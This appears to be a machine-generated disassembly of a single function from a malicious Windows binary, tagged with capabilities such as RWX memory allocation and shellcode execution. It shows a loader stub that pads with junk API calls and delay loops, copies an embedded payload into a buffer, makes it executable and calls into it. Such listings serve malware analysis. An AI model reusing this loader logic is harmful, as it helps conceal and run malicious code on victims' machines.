Function at 0x403cde
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get disk size
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x824
push ebx
push esi
push edi
xor esi, esi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp edi, 0x207142
jg 0x403d0b
inc edi
cmp edi, 0x67d12
jl 0x403cee
cmp dword [0x285682c], 0x93
jne 0x403de6
push 0x40381c
call dword [sym.imp.KERNEL32.dll_AddAtomA]
push esi
push esi
push 0x403828
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeMenuA]
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetMenuState]
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapFree]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push esi
push esi
push esi
push 0x403840
push 0x40384c
push 0x403864
call dword [sym.imp.KERNEL32.dll_ReplaceFileA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
call dword [sym.imp.ole32.dll_CoSuspendClassObjects]
call dword [sym.imp.WINHTTP.dll_WinHttpCheckPlatform]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
push esi
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push esi
push esi
push esi
call dword [sym.imp.SHELL32.dll_FindExecutableA]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.ole32.dll_StringFromIID]
push esi
call fcn.00404194
pop ecx
push esi
push 0x4037a2
push 0x473838
call fcn.00404240
add esp, 0xc
push esi
push esi
call fcn.00404aed
push esi
call fcn.004049e0
add esp, 0xc
push esi
push esi
call fcn.00404a0f
pop ecx
pop ecx
mov eax, dword [0x45ec5c]
add dword [0x285682c], 0x1134b
push 0x40387c
mov dword [0x2857668], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0x403898
push eax
mov dword [0x28562bc], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x285682c]
mov dword [0x28562b0], eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 4]
push ecx
push 0x40
push dword [0x285682c]
mov dword [0x28562b8], eax
push eax
call dword [0x28562b0]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
mov edi, 0x1692e
push esi
push esi
call dword [sym.imp.USER32.dll_GetComboBoxInfo]
push esi
lea eax, [ebp - 0x820]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffW]
push esi
call ebx
dec edi
jne 0x403e4b
cmp dword [0x285682c], esi
jbe 0x403ec6
mov eax, dword [0x2857668]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x28562b8]
mov byte [ecx + edi], al
cmp dword [0x285682c], 0x490
jne 0x403ebd
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea eax, [ebp - 0xc]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
inc edi
cmp edi, dword [0x285682c]
jb 0x403e6f
xor edi, edi
mov eax, dword [0x285682c]
add eax, edi
cmp eax, 0x8d
jne 0x403f07
push esi
lea eax, [ebp - 0x820]
push eax
push esi
push 0x4038a8
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringW]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeMenuW]
push 0x4038b0
push 0x4038f8
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
inc edi
cmp edi, 0x38681
jl 0x403ec8
call fcn.00403c05
xor edi, edi
push esi
call ebx
cmp edi, 0x61
jne 0x403f32
mov dword [ebp - 8], esi
add dword [ebp - 8], 0
mov eax, dword [ebp - 8]
add dword [0x28562b8], eax
inc edi
cmp edi, 0x674bd
jl 0x403f17
push 0x7b
pop edi
cmp dword [0x285682c], 0x86
jne 0x403f7e
push esi
push esi
push esi
push esi
push esi
push esi
push 0x4038e4
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
push esi
push dword [ebp - 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_HeapSetInformation]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_RequestWakeupLatency]
push esi
call dword [sym.imp.KERNEL32.dll_IsBadCodePtr]
dec edi
jne 0x403f3e
push 0x403938
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [0x28562b8]
pop edi
pop esi
pop ebx
leave
ret